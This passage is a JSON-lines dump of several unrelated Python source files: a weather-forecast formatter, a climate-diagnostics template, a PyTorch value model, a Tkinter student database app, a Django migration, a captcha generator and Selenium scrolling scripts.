\"\"\"Converts an temperature from farenheit to celcius\n\n Args:\n temp_in_farenheit: integer representing a temperature.\n Returns:\n An integer representing a temperature in degrees celcius.\n \"\"\"\n temp_in_celcius = (temp_in_farenheit - 32)*5/9\n temp_in_celcius = round(temp_in_celcius, 1)\n return temp_in_celcius\n\n\ndef calculate_mean(total, num_items):\n \"\"\"Calculates the mean.\n \n Args:\n total: integer representing the sum of the numbers.\n num_items: integer representing the number of items counted.\n Returns:\n An integer representing the mean of the numbers.\n \"\"\"\n mean = total/num_items\n #use the round() function to get it right\n #round it to one decimal case\n mean = round(mean, 1)\n return mean\n\n\ndef process_weather(forecast_file):\n \"\"\"Converts raw weather data into meaningful text.\n \n Args:\n forecast_file: A string representing the file path to a file\n containing raw weather data.\n Returns:\n A string containing the processed and formatted weather data.\n \"\"\"\n \n with open(forecast_file) as json_file:\n data = json.load(json_file)\n\n #STEP 1: Initialise all the variables that you will need in your loop\n min_temp = []\n max_temp = []\n date = []\n precipitation_probability = []\n long_words = []\n rain_chance = [] \n long_boy = []\n long_boy_night = []\n rain_chance_night = []\n converted_dates = []\n highest_temp = []\n lowest_temp = []\n line = [] \n max_mean = []\n min_mean = [] \n date_input = []\n low_day = []\n high_day = []\n num_items = 0 \n\n num_items = num_items + 1 \n\n #you need 7 in total + optional extras \n\n #STEP 2: Do a \"for\" loop to get the values from the dataset\n for item in data[\"DailyForecasts\"]:\n converted_dates.append(convert_date(item[\"Date\"]))\n min_temp.append(convert_f_to_c(item[\"Temperature\"][\"Minimum\"][\"Value\"]))\n max_temp.append(convert_f_to_c(item[\"Temperature\"][\"Maximum\"][\"Value\"]))\n # print(f\"Minimum:{min_temp}, Maximum:{max_temp}\")\n long_boy.append(item[\"Day\"][\"LongPhrase\"])\n long_boy_night.append(item[\"Night\"][\"LongPhrase\"])\n rain_chance.append(item[\"Day\"][\"PrecipitationProbability\"])\n rain_chance_night.append(item[\"Night\"][\"PrecipitationProbability\"])\n # print(f\"Long words: {long_boy}\")\n # print(f\"Chance of rain{rain_chance} Long_words: {long_boy}\") \n # converted_dates.append(convert_date(date_input))\n # max_temp = format_temperature(max_temp)\n # min_temp = format_temperature(min_temp)\n\n\n #STEP 3: Calculate the things necessary for the \"overview\" (mean, overall min etc.)\n # min_temp = [8.3, 10.6, 14.4, 14.4, 10.6]\n # max_temp = [17.8, 19.4, 22.2, 22.2, 18.9]\n #input data \n # date_input = weather[\"Date\"]\n # date = convert_date(date_input)\n # #calculate min and max \n # min_temp = convert_f_to_c(min_temp)\n # max_temp = convert_f_to_c(max_temp)\n #add values to perform calc \n # min_mean = sum(min_temp)/(len(min_temp))\n # max_mean = sum(max_temp)/(len(max_temp))\n #return calc \n min_mean = calculate_mean(sum(min_temp), len(min_temp))\n max_mean = calculate_mean(sum(max_temp), len(max_temp))\n #determine day/ lowest temp \n index_min = min_temp.index(min(min_temp))\n low_day = converted_dates[index_min]\n index_max = max_temp.index(max(max_temp))\n high_day = converted_dates[index_max]\n\n # example: date = [date1, date2, date3, date4, date5]\n #google \"python find the minimum in a list\"\n #google \"python find index of a value in a list\"\n #date_min = date[index_of_min] \n\n# STEP 4: Create the lines for the overview information one by one, append each to the output\n output = []\n line = f\"5 Day Overview\"\n output.append(line)\n line = f\" The lowest temperature will be {min(min_temp)}{DEGREE_SYBMOL}, and will occur on {low_day}.\"\n output.append(line)\n line = f\" The highest temperature will be {max(max_temp)}{DEGREE_SYBMOL}, and will occur on {high_day}.\"\n output.append(line)\n line = f\" The average low this week is {min_mean}{DEGREE_SYBMOL}.\"\n output.append(line)\n line = f\" The average high this week is {max_mean}{DEGREE_SYBMOL}.\"\n output.append(line)\n output.append(\"\")\n # line = \"another line {}\".format(variable)\n # output.append(line)\n # STEP 5: Loop 1 for daily output, append each line to output\n # or While Loop 2 for each day/ value output\n for i in range(len(min_temp)):\n line = (\"-------- \" + converted_dates[i] + \" --------\")\n output.append(line)\n line = f\"Minimum Temperature: {min_temp[i]}{DEGREE_SYBMOL}\"\n output.append(line)\n line = f\"Maximum Temperature: {max_temp[i]}{DEGREE_SYBMOL}\"\n output.append(line)\n line = f\"Daytime: {long_boy[i]}\\n Chance of rain: {rain_chance[i]}%\"\n output.append(line)\n line = f\"Nighttime: {long_boy_night[i]}\\n Chance of rain: {rain_chance_night[i]}%\"\n output.append(line)\n output.append(\"\")\n # # STEP 6: Join all in the one string\n final_output = \"\\n\".join(output)\n return(final_output)\nif __name__ == \"__main__\":\n print(process_weather(\"data/forecast_5days_a.json\"))\n\n","sub_path":"part2/part1.py","file_name":"part1.py","file_ext":"py","file_size_in_byte":6067,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"497289908","text":"def gen_row(percent, value, thisis, total):\n begin = ['null'] * total\n begin[thisis] = str(percent)\n return '[{}, {}],\\n'.format(value, ','.join(begin))\n\ndef gen_cdf(data, filename):\n \"\"\"\n Data: a list of list. where 0-dim for a class, 1-dim for actual data\n \"\"\"\n number_class = len(data)\n rstr = ''\n for j in range(number_class):\n i, size = 1, len(data[j])\n data[j].sort()\n for datus in data[j]:\n rstr += gen_row(i / size, datus, j, number_class)\n i += 1\n rstr += '\\n\\n'\n f = open(filename, 'w+')\n f.write(rstr)\n f.close()","sub_path":"uniqprev/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":609,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"332655459","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# ------------------------------------------------------------------------------------ #\n\n# -- Python 2 <-> 3 compatibility ---------------------------------------------------------\nfrom __future__ import unicode_literals, print_function, absolute_import, division\n\n# ------------------------------------------------------------------------------------------------------ \\\n# -- - \\\n# -- - \\\n# -- Scientific diagnostics for the - \\\n# -- CliMAF Earth System Model Evaluation Platform - |\n# -- - |\n# -- diagnostics_${component}.py - |\n# -- ==> add html code to 'index' (initialized with 'header') - |\n# -- using the CliMAF html toolbox (start_line, cell, close_table... ) - |\n# -- to create your own atlas page - | \n# -- - |\n# -- Developed within the ANR Convergence Project - |\n# -- CNRM GAME, IPSL, CERFACS - |\n# -- Contributions from CNRM, LMD, LSCE, NEMO Group, ORCHIDEE team. - |\n# -- Based on CliMAF: WP5 ANR Convergence, S. Senesi (CNRM) and J. Servonnat (LSCE - IPSL) - |\n# -- - |\n# -- J. Servonnat, S. Senesi, L. Vignon, MP. Moine, O. Marti, E. Sanchez, F. Hourdin, - |\n# -- I. Musat, M. Chevallier, J. Mignot, M. Van Coppenolle, J. Deshayes, R. Msadek, - |\n# -- P. Peylin, N. Vuichard, J. Ghattas, F. Maignan, A. Ducharne, P. Cadule, - |\n# -- P. Brockmann, C. Rousset, J.Y. Perterschmitt - |\n# -- - |\n# -- Contact: jerome.servonnat@lsce.ipsl.fr - |\n# -- - |\n# -- See the documentation at: https://github.com/jservonnat/C-ESM-EP/wiki - |\n# -- - |\n# -- - /\n# -- Note: you can actually use an empty datasets_setup - /\n# -- and an empty params_${component}.py, and set everything from here - /\n# -- - /\n# -- - /\n# ---------------------------------------------------------------------------------------------------- /\n\nfrom os import getcwd\n\n# ----------------------------------------------\n# -- \\\n# -- My very own diagnostics \\\n# -- /\n# -- /\n# -- /\n# ---------------------------------------------\n\n\n# -- Head title of the atlas\n# ---------------------------------------------------------------------------- >\natlas_head_title = \"My own diagnostics\"\n\n\n# - Init html index\n# -----------------------------------------------------------------------------------\nindex = header(atlas_head_title, style_file=style_file)\n\n# - 1. Make climatology maps by hand (not even using datasets_setup.py)\n\n# - 2. Time series plot of the global tas of all available CMIP5 models\n\n# - 3. Maps of the datasets specified in datasets_setup.py\n\n\n# ---------------------------------------------------------------------------------------- #\n# -- Your own diagnostic script -- #\n# -- This section is a copy of the previous section; it is a good example -- #\n# -- of how to add your own script/diagnostic -- #\n# -- The section starting with comments with ==> at the beginning are mandatory to -- #\n# -- build a section in the C-ESM-EP. The comments starting with /// identify code that -- #\n# -- is specific to the diagnostic presented here. -- #\nif do_my_own_climaf_diag:\n #\n # ==> -- Open the section and an html table\n # -----------------------------------------------------------------------------------------\n index += section(\"My own CliMAF diagnostic\", level=4)\n #\n # ==> -- Control the size of the thumbnail -> thumbN_size\n # -----------------------------------------------------------------------------------------\n if thumbnail_size:\n thumbN_size = thumbnail_size\n else:\n thumbN_size = thumbnail_size_global\n #\n # ==> -- Open the html line with the title\n # -----------------------------------------------------------------------------------------\n index += open_table()\n line_title = 'Diag #1 = amplitude of the annual cycle'\n index += start_line(line_title)\n #\n # ==> -- Apply the period_for_diag_manager (not actually needed here)\n # -----------------------------------------------------------------------------------------\n Wmodels = copy.deepcopy(models)\n #\n # -- Define plot parameters per variable -> better if in the params file\n # -----------------------------------------------------------------------------------------\n my_own_climaf_diag_plot_params = dict(\n tas=dict(contours=1, min=0, max=60, delta=5, color='precip3_16lev'),\n pr=dict(contours=1, min=0, max=30, delta=2, color='precip_11lev', scale=86400.),\n\n )\n #\n # -- Loop on the variables defined in my_own_climaf_diag_variables -> better if in the params file\n # -----------------------------------------------------------------------------------------\n my_own_climaf_diag_variables = ['tas', 'pr']\n for variable in my_own_climaf_diag_variables:\n #\n # -- Loop on the models\n # -----------------------------------------------------------------------------------------\n for model in Wmodels:\n #\n # -- preliminary step = copy the model dictionary to avoid modifying the dictionary\n # -- in the list models, and add the variable\n # -----------------------------------------------------------------------------------------\n wmodel = model.copy() # - copy the dictionary to avoid modifying the original dictionary\n wmodel.update(dict(variable=variable)) # - add a variable to the dictionary with update\n #\n # ==> -- Apply frequency and period manager\n # -----------------------------------------------------------------------------------------\n # ==> -- They aim at finding the last SE or last XX years available when the user provides\n # ==> -- clim_period='last_SE' or clim_period='last_XXY'...\n # ==> -- and get_period_manager scans the existing files and find the requested period\n # ==> -- !!! Both functions modify the wmodel so that it will point to the requested period\n wmodel = get_period_manager(wmodel, diag='clim')\n #\n # /// -- Get the dataset and compute the annual cycle\n # -----------------------------------------------------------------------------------------\n dat = annual_cycle(ds(**wmodel))\n #\n # -- Compute the amplitude of the annual cycle (max - min)\n # -----------------------------------------------------------------------------------------\n amp = minus(ccdo(dat, operator='timmax'), ccdo(dat, operator='timmin'))\n #\n # /// -- Build the titles\n # -----------------------------------------------------------------------------------------\n title = build_plot_title(wmodel, None) # > returns the model name if project=='CMIP5'\n # otherwise it returns the simulation name\n # It returns the name of the reference if you provide\n # a second argument ('dat1 - dat2')\n LeftString = variable\n RightString = build_str_period(wmodel) # -> finds the right key for the period (period of clim_period)\n CenterString = 'Seas cyc. amplitude'\n #\n # -- Plot the amplitude of the annual cycle\n # -----------------------------------------------------------------------------------------\n plot_amp = plot(amp, title=title, gsnLeftString=LeftString, gsnRightString=RightString,\n gsnCenterString=CenterString, **my_own_climaf_diag_plot_params[variable])\n #\n # ==> -- Add the plot to the line\n # -----------------------------------------------------------------------------------------\n index += cell(\"\", safe_mode_cfile_plot(plot_amp, safe_mode=safe_mode),\n thumbnail=thumbN_size, hover=hover, **alternative_dir)\n #\n # ==> -- Close the line and the table for this section\n # -----------------------------------------------------------------------------------------\n index += close_line() + close_table()\n\n# -- Preliminary settings: import module, set the verbosity and the 'safe mode'\n# ---------------------------------------------------------------------------- >\n# -- Set the verbosity of CliMAF (minimum is 'critical', maximum is 'debug', intermediate -> 'warning')\nverbose = 'debug'\n# -- Safe Mode (set to False and verbose='debug' if you want to debug)\nsafe_mode = True\n# -- Set to True to clean the CliMAF cache\nclean_cache = False\n# -- Patterns to clean the cache at the end of the execution of the atlas\nroutine_cache_cleaning = [dict(age='+20')]\n# -- Parallel and memory instructions\ndo_parallel = False\n\n# -----------------------------------------------------------------------------------\n# -- End\n# --\n# -----------------------------------------------------------------------------------\n\n# ------------------------------------------------------------------------------------------------------ \\\n# -- - \\\n# -- - \\\n# -- main_C-ESM-EP.py will provide you with: - |\n# -- - the list 'models' defined in datasets_setup.py, as well as 'reference' - |\n# -- if use_available_period_set == True, it means that you also have Wmodels_clim and Wmodels_ts - |\n# -- that correspond to 'models' with periods for climatologies and time series (respectively) - |\n# -- that have already been found (if you used arguments like 'last_10Y', 'first_30Y', 'full' or '*') - |\n# -- - alternative_dir: to be used as an argument to cell(..., altdir=alternative_dir) - |\n# -- - the parameters from params_${component}.py (safe_mode, - |\n# -- - the cesmep modules in share/cesmep_modules - |\n# -- - the default values from share/default/default_atlas_settings.py - |\n# -- - /\n# -- Note: you can actually use an empty datasets_setup - /\n# -- and an empty params_${component}.py, and set everything from here - /\n# -- - /\n# -- - /\n# ---------------------------------------------------------------------------------------------------- /\n\n\n","sub_path":"share/cesmep_diagnostics/diagnostics_MyOwnDiag.py","file_name":"diagnostics_MyOwnDiag.py","file_ext":"py","file_size_in_byte":13144,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"444301560","text":"\n\nfrom xai.brain.wordbase.nouns._brooch import _BROOCH\n\n#calss header\nclass _BROOCHES(_BROOCH, ):\n\tdef __init__(self,): \n\t\t_BROOCH.__init__(self)\n\t\tself.name = \"BROOCHES\"\n\t\tself.specie = 'nouns'\n\t\tself.basic = \"brooch\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/nouns/_brooches.py","file_name":"_brooches.py","file_ext":"py","file_size_in_byte":240,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"410299402","text":"import torch\nimport torch.nn.functional as F\nimport torchrl.utils as U\nfrom torchrl.models import BaseModel\nfrom torchrl.nn import FlattenLinear\n\nfrom torch.utils.data import TensorDataset, DataLoader\n\n\nclass ValueModel(BaseModel):\n '''\n A standard regression model, can be used to estimate the value of states or Q values.\n\n Parameters\n ----------\n clip_range: float\n Similar to PPOClip, limits the change between the new and old value function.\n '''\n\n def __init__(self,\n model,\n env,\n *,\n clip_range=None,\n num_mini_batches=4,\n num_epochs=10,\n **kwargs):\n self.clip_range_fn = U.make_callable(clip_range)\n\n super().__init__(\n model=model,\n env=env,\n num_mini_batches=num_mini_batches,\n num_epochs=num_epochs,\n **kwargs)\n\n @property\n def batch_keys(self):\n return ['state_t', 'old_pred', 'vtarget']\n\n @property\n def clip_range(self):\n return self.clip_range_fn(self.step)\n\n def register_losses(self):\n if self.clip_range is None:\n self.register_loss(self.mse_loss)\n else:\n self.register_loss(self.clipped_mse_loss)\n\n def mse_loss(self, batch):\n pred = self.forward(batch.state_t).view(-1)\n loss = F.mse_loss(pred, batch.vtarget)\n\n return loss\n\n def clipped_mse_loss(self, batch):\n pred = self.forward(batch.state_t).view(-1)\n pred_diff = pred - batch.old_pred\n pred_clipped = batch.old_pred + pred_diff.clamp(-self.clip_range, self.clip_range)\n\n losses = (pred - batch.vtarget)**2\n losses_clipped = (pred_clipped - batch.vtarget)**2\n loss = 0.5 * torch.max(losses, losses_clipped).mean()\n\n return loss\n\n def train_step(self, batch):\n with torch.no_grad():\n batch.old_pred = self.forward(batch.state_t).view(-1)\n\n super().train_step(batch)\n\n def write_logs(self, batch):\n super().write_logs(batch)\n\n self.add_log('Old Explained Var', U.explained_var(batch.vtarget, batch.old_pred))\n pred = self.forward(batch.state_t)\n self.add_log('New Explained Var', U.explained_var(batch.vtarget, pred))\n\n pred_diff = pred - batch.old_pred\n clip_frac = (abs(pred_diff) > self.clip_range).float().mean()\n self.add_log('Clip Range', self.clip_range)\n self.add_log('Clip Fraction', clip_frac)\n\n @staticmethod\n def output_layer(input_shape, action_info):\n return FlattenLinear(in_features=input_shape, out_features=1)\n","sub_path":"torchrl/models/value_model.py","file_name":"value_model.py","file_ext":"py","file_size_in_byte":2652,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"397922342","text":"#Frontend\nfrom tkinter import*\nimport tkinter.messagebox\nimport database\n\nclass Student:\n def __init__(self,root):\n self.root = root\n self.root.title(\"Students Database Management Systems\")\n self.root.geometry(\"1350x750\")\n self.root.config(bg=\"cornsilk2\")\n\n StdID = StringVar()\n Firstname= StringVar()\n Surname= StringVar()\n DOB = StringVar()\n Age = StringVar()\n Gender = StringVar()\n Address = StringVar()\n Mobile = StringVar()\n\n #function\n\n def iExit():\n iExit = tkinter.messagebox.askyesno(\"Student Database Management System\", \"Confirm if you want to exit\")\n if iExit >0:\n root.destroy()\n return\n def clearData():\n self.txtStdID.delete(0,END)\n self.txtFirstname.delete(0, END)\n self.txtSurname.delete(0, END)\n self.txtDOB.delete(0, END)\n self.txtAge.delete(0, END)\n self.txtGender.delete(0, END)\n self.txtAddress.delete(0, END)\n self.txtMobile.delete(0, END)\n def addData():\n if(len(StdID.get())!= 0):\n database.addStdRec(StdID.get(),Firstname.get(), Surname.get(), DOB.get(),Age.get(), Gender.get(), Address.get() , Mobile.get())\n studentlist.delete(0,END)\n studentlist.insert(END,(StdID.get(),Firstname.get(), Surname.get(), DOB.get(),Age.get(), Gender.get(),Address.get() , Mobile.get()))\n def DisplayData():\n studentlist.delete(0, END)\n for row in database.viewData():\n studentlist.insert(END,row,str(\"\"))\n def StudentRec(event):\n global sd\n searchStd = studentlist.curselection()[0]\n sd = studentlist.get(searchStd)\n self.txtStdID.delete(0, END)\n self.txtStdID.insert(END,sd[1])\n self.txtFirstname.delete(0, END)\n self.txtFirstname.insert(END, sd[2])\n self.txtSurname.delete(0, END)\n self.txtSurname.insert(END, sd[3])\n self.txtDOB.delete(0, END)\n self.txtDOB.insert(END, sd[4])\n self.txtAge.delete(0, END)\n self.txtAge.insert(END, sd[5])\n self.txtGender.delete(0, END)\n self.txtGender.insert(END, sd[6])\n self.txtAddress.delete(0, END)\n self.txtAddress.insert(END, sd[7])\n self.txtMobile.delete(0, END)\n self.txtMobile.insert(END, sd[8])\n def DeleteData():\n if (len(StdID.get()) != 0):\n database.deleteRec(sd[0])\n clearData()\n DisplayData()\n\n def update():\n if(len(StdID.get())!=0):\n database.deleteRec(sd[0])\n if(len(StdID.get())!=0):\n database.addStdRec(StdID.get(),Firstname.get(), Surname.get(),DOB.get(),Age.get(),Gender.get(),Address.get(),Mobile.get())\n studentlist.delete(0,END)\n studentlist.insert(database,(StdID.get(),Firstname.get(), Surname.get(),DOB.get(),Age.get(),Gender.get(),Address.get(),Mobile.get()))\n\n\n\n\n\n\n\n\n\n\n\n\n #Frame\n MainFrame = Frame(self.root, bg=\"cornsilk2\")\n MainFrame.grid()\n TitFrame = Frame(MainFrame, bd= 2, padx=54, pady=8, bg='cornsilk2', relief=RIDGE)\n TitFrame.pack(side=TOP)\n self.lblTit = Label(TitFrame,font=('arial', 47,'bold'),text=\"Student Database Management Systems\",bg=\"cornsilk2\")\n self.lblTit.grid()\n\n ButtonFrame = Frame(MainFrame, bd=2, width=1350, height=70,padx=18,pady=10, bg=\"Ghost White\" , relief=RIDGE)\n ButtonFrame.pack(side=BOTTOM)\n\n DataFrame = Frame(MainFrame, bd=1, width=1300,height=400, padx=20,pady=20,relief=RIDGE,bg=\"cornsilk2\")\n DataFrame.pack(side=BOTTOM)\n\n DataFrameLEFT = LabelFrame(DataFrame, bd=1,width=1000,height=600,padx=20,relief=RIDGE, bg=\"Ghost White\" , font=('arial', 20,'bold'),text=\"Student Info\\n\")\n DataFrameLEFT.pack(side=LEFT)\n\n DataFrameRIGHT = LabelFrame(DataFrame,bd=1,width=450,height=300,padx=31,pady=3,relief=RIDGE, bg=\"Ghost White\",font=('arial', 20,'bold'),text=\"Student Info\\n\")\n DataFrameRIGHT.pack(side=RIGHT)\n self.lblStdID = Label(DataFrameLEFT, font=('arial', 20, 'bold'), text=\"Student ID\",bg=\"Ghost White\",padx=2,pady=2)\n self.lblStdID.grid(row=0, column=0, sticky=W)\n self.txtStdID = Entry(DataFrameLEFT, font=('arial', 20, 'bold'), textvariable=StdID , width=39)\n self.txtStdID.grid(row=0, column=1, sticky=W)\n\n self.lblFirstname = Label(DataFrameLEFT, font=('arial', 20, 'bold'), text=\"Firstname :\", bg=\"Ghost White\", padx=2,pady=2)\n self.lblFirstname.grid(row=1, column=0, sticky=W)\n self.txtFirstname = Entry(DataFrameLEFT, font=('arial', 20, 'bold'), textvariable=Firstname , width=39)\n self.txtFirstname.grid(row=1, column=1, sticky=W)\n\n self.lblSurname = Label(DataFrameLEFT, font=('arial', 20, 'bold'), text=\"Surname :\", bg=\"Ghost White\", padx=2,)\n self.lblSurname.grid(row=2, column=0, sticky=W)\n self.txtSurname = Entry(DataFrameLEFT, font=('arial', 20, 'bold'), textvariable=Surname, width=39)\n self.txtSurname.grid(row=2, column=1, sticky=W)\n\n self.lblDOB = Label(DataFrameLEFT, font=('arial', 20, 'bold'), text=\"DOB :\", bg=\"Ghost White\", padx=2,pady=2)\n self.lblDOB.grid(row=3, column=0, sticky=W)\n self.txtDOB = Entry(DataFrameLEFT, font=('arial', 20, 'bold'), textvariable=DOB, width=39)\n self.txtDOB.grid(row=3, column=1, sticky=W)\n\n self.lblAge = Label(DataFrameLEFT, font=('arial', 20, 'bold'), text=\"Age :\", bg=\"Ghost White\", padx=2,pady=2)\n self.lblAge.grid(row=4, column=0, sticky=W)\n self.txtAge = Entry(DataFrameLEFT, font=('arial', 20, 'bold'), textvariable=Age, width=39)\n self.txtAge.grid(row=4, column=1, sticky=W)\n\n self.lblGender = Label(DataFrameLEFT, font=('arial', 20, 'bold'), text=\"Gender:\", bg=\"Ghost White\", padx=2,pady=2)\n self.lblGender.grid(row=5, column=0, sticky=W)\n self.txtGender = Entry(DataFrameLEFT, font=('arial', 20, 'bold'), textvariable=Gender, width=39)\n self.txtGender.grid(row=5, column=1, sticky=W)\n\n self.lblAddress = Label(DataFrameLEFT, font=('arial', 20, 'bold'), text=\"Address:\", bg=\"Ghost White\", padx=2,pady=2)\n self.lblAddress.grid(row=6, column=0, sticky=W)\n self.txtAddress = Entry(DataFrameLEFT, font=('arial', 20, 'bold'), textvariable=Address, width=39)\n self.txtAddress.grid(row=6, column=1, sticky=W)\n\n self.lblMobile = Label(DataFrameLEFT, font=('arial', 20, 'bold'), text=\"Mobile:\", bg=\"Ghost White\", padx=2, pady=2)\n self.lblMobile.grid(row=7, column=0, sticky=W)\n self.txtMobile = Entry(DataFrameLEFT, font=('arial', 20, 'bold'), textvariable=Mobile, width=39)\n self.txtMobile.grid(row=7, column=1, sticky=W)\n\n # listbox and scrollbar\n\n scrollbar = Scrollbar(DataFrameRIGHT)\n scrollbar.grid(row=0, column=1, sticky='ns')\n studentlist = Listbox(DataFrameRIGHT, width=41, height=16, font=('arial',12,'bold'), yscrollcommand=scrollbar.set)\n studentlist.bind('<>',StudentRec)\n studentlist.grid(row=0,column=0,padx=8)\n scrollbar.config(command = studentlist.yview)\n\n #Button\n\n self.btnAddData = Button(ButtonFrame, text=\"Add New\", font=('arial',20,'bold'), height=1,width=10,bd=4, command = addData)\n self.btnAddData.grid(row=0,column=0)\n\n self.btnDisplayData = Button(ButtonFrame, text=\"Display\", font=('arial', 20, 'bold'), height=1, width=10, bd=4, command= DisplayData)\n self.btnDisplayData.grid(row=0, column=1)\n\n self.btnClearData = Button(ButtonFrame, text=\"Clear\", font=('arial', 20, 'bold'), height=1, width=10, bd=4,\n command = clearData)\n self.btnClearData.grid(row=0, column=2)\n\n self.btnDeleteData = Button(ButtonFrame, text=\"Delete\", font=('arial', 20, 'bold'), height=1, width=10, bd=4, command= DeleteData)\n self.btnDeleteData.grid(row=0, column=3)\n\n\n\n self.btnUpdateData = Button(ButtonFrame, text=\"Update\", font=('arial', 20, 'bold'), height=1, width=10, bd=4, command= update)\n self.btnUpdateData.grid(row=0, column=4)\n\n self.btnExit = Button(ButtonFrame, text=\"Exit\", font=('arial', 20, 'bold'), height=1, width=10, bd=4, command=iExit)\n self.btnExit.grid(row=0, column=5)\n\n\n\n\n\n\n\nif __name__ =='__main__':\n root = Tk()\n application = Student(root)\n root.mainloop()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":8633,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"93876034","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('clientes', '0004_auto_20150305_0228'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Familiar',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('nome', models.CharField(max_length=100)),\n ('parentesco', models.CharField(default=b'A', max_length=1, choices=[(b'A', b'Filho(a)'), (b'B', b'Irm\\xc3\\xa3(o)'), (b'D', b'Neto(a)'), (b'E', b'Sobrinho(a)'), (b'F', b'Enteado(a)'), (b'I', b'Outros')])),\n ('naturalizacao', models.CharField(max_length=50, null=True, verbose_name=b'Naturaliza\\xc3\\xa7\\xc3\\xa3o', blank=True)),\n ('nascimento', models.DateField()),\n ('responsavel', models.ForeignKey(blank=True, to='clientes.Cliente', null=True)),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n ]\n","sub_path":"clientes/migrations/0005_familiar.py","file_name":"0005_familiar.py","file_ext":"py","file_size_in_byte":1113,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"234917247","text":"import matplotlib.pyplot as plt\nimport numpy as np\n\nfigure_size = (15,15)\n\ndef plot_data(t, phi, ksi):\n plt.subplot(1,1,1)\n plt.axis([-3,12,-3,5])\n plt.plot(phi, ksi)\n\nif __name__ == '__main__':\n plt.figure(figsize=figure_size)\n\n for N in range(20):\n t, phi, ksi = np.loadtxt(\"data/euler/data\"+str(N+1)+\".csv\", unpack=True)\n plot_data(t, phi, ksi)\n for N in range(10):\n t, phi, ksi = np.loadtxt(\"data/euler_2/data\"+str(N+1)+\".csv\", unpack=True)\n plot_data(t, phi, ksi)\n plt.savefig(\"images/phase_diagram.png\")\n plt.show()","sub_path":"records/phys_pendulum/pendulum.py","file_name":"pendulum.py","file_ext":"py","file_size_in_byte":573,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"586628424","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\nimport random\nfrom PIL import Image, ImageDraw, ImageFont, ImageFilter\nimport string\n\n\ndef random_color(bias=0):\n return random.randint(27, 100)+bias, random.randint(27, 100)+bias, random.randint(27, 100)+bias\n\n\ndef captcha_generator(length=4, width=240, height=60):\n code = [random.choice(string.ascii_uppercase) for _ in range(length)]\n ic = Image.new('RGB', (width, height), 'white')\n\n draw = ImageDraw.Draw(ic)\n for i in range(width):\n for j in range(height):\n draw.point((i, j), random_color())\n\n font = ImageFont.truetype('arial.ttf', 30)\n for idx, _letter in enumerate(code):\n fsize = font.getsize(_letter)\n left = random.randint(int(width / length * idx), int(width / length * (idx + 1)) - fsize[0])\n upper = random.randint(5, height - fsize[1] - 5)\n draw.text((left, upper), _letter, font=font, fill=random_color(60))\n\n return code, ic.filter(ImageFilter.BLUR)\n\nif __name__ == \"__main__\":\n _code, _ic = captcha_generator()\n print(_code)\n _ic.save('../data/captcha.jpg')\n\n","sub_path":"0010/captcha_generator.py","file_name":"captcha_generator.py","file_ext":"py","file_size_in_byte":1107,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"139069292","text":"#coding:utf-8\n#@Time:16:24\n#@Author:WL\n# from time import sleep\n# from selenium import webdriver\n# driver = webdriver.Firefox()\n# driver.get(\"http://www.cnblogs.com/yoyoketang/\")\n# driver.maximize_window()\n# sleep(2)\n# js1 = \"var q=document.documentElement.scrollTop=10000\" #10000代表底部\n# driver.execute_script(js1)\n# print('回到底部')\n# sleep(5)\n# js2 = \"var q=document.documentElement.scrollTop=0\" #0代表顶端\n# driver.execute_script(js2)\n# print('回到顶端')\n# driver.quit()\n\nfrom time import sleep\nfrom selenium import webdriver\ndriver = webdriver.Chrome()\ndriver.maximize_window()\ndriver.get(\"http://www.cnblogs.com/yoyoketang/\")\njs1 = \"window.scrollTo(0,10000)\" #10000代表底部\ndriver.execute_script(js1)\nsleep(3)\njs2 = \"window.scrollTo(0,50)\" #0代表顶端\ndriver.execute_script(js2)\ndriver.quit()\n\n\n\n\n\n\n\n\n\n\n\n\n# from selenium import webdriver\n# import time\n# #\n# driver=webdriver.Chrome()\n# driver.get(\"http://www.cnblogs.com/yoyoketang/\")\n# #搜索\n# # driver.find_element_by_id(\"kw\").send_keys(\"selenium\")\n# # driver.find_element_by_id(\"su\").click()\n# # time.sleep(3)\n# #将页面滚动条拖到底部\n# js=\"var q=document.documentElement.scrollTop=100000\"\n# driver.execute_script(js)\n# time.sleep(3)\n# #将滚动条移动到页面的顶部\n# js=\"var q=document.documentElement.scrollTop=0\"\n# driver.execute_script(js)\n# time.sleep(3)\n# #将页面滚动条移动到页面任意位置,改变等于号后的数值即可\n# js=\"var q=document.documentElement.scrollTop=50\"\n# driver.execute_script(js)\n# time.sleep(3)\n# '''''\n# #若要对页面中的内嵌窗口中的滚动条进行操作,要先定位到该内嵌窗口,在进行滚动条操作\n# js=\"var q=document.getElementById('id').scrollTop=100000\"\n# driver.execute_script(js)\n# time.sleep(3)\n# '''\n# driver.quit()\n\n","sub_path":"test/test/test_js.py","file_name":"test_js.py","file_ext":"py","file_size_in_byte":1807,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"413359839","text":"\n#Problem 1\nCelcius = 30\nFahrenheit = ((9/5)*Celcius)+32\nprint (\"{:<6}\\t{:<10}\" .format(\"CELCIUS\", \"FAHRENHEIT\"))\nprint (\"{:<6.2f}\\t{:<10.2f}\" .format(Celcius, 